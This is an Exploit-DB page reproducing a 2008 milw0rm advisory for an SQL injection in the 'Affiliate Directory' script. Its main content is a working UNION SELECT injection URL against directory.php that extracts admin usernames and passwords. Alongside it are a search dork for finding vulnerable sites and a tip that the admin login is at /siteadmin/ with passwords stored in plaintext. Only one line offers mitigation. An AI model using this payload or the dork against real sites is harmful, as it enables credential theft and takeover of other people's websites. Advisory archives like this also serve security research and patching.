Affiliate Directory SQL Injection Vulnerability

vendor:

Affiliate Directory

by:

t0pP8uZz & xprog

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Affiliate Directory

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Affiliate Directory SQL Injection Vulnerability

Affiliate Directory suffers from insecure mysql querys, the script is widely published thoughout the web. The below injections can retrive the admin username and password.

Mitigation:

Ensure that user input is properly sanitized and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+		    Affiliate Directory SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--

                       
AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: altavista.com > "Search Affiliate Programs:" > Home > Newest Links


DESCRIPTION: 
Affiliate Directory suffers from insecure mysql querys, the script is widely published thoughout the web.
the below injections can retrive the admin username and password.


EXPLOITS:
http://server.com/directory.php?ax=list&sub=8&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4/**/FROM/**/admin/*


NOTE/TIP: 
admin login is at /siteadmin/
passwords are in plaintext


GREETZ: milw0rm.com, H4CK-Y0u.org


--==+================================================================================+==--
--==+		    Affiliate Directory SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-04]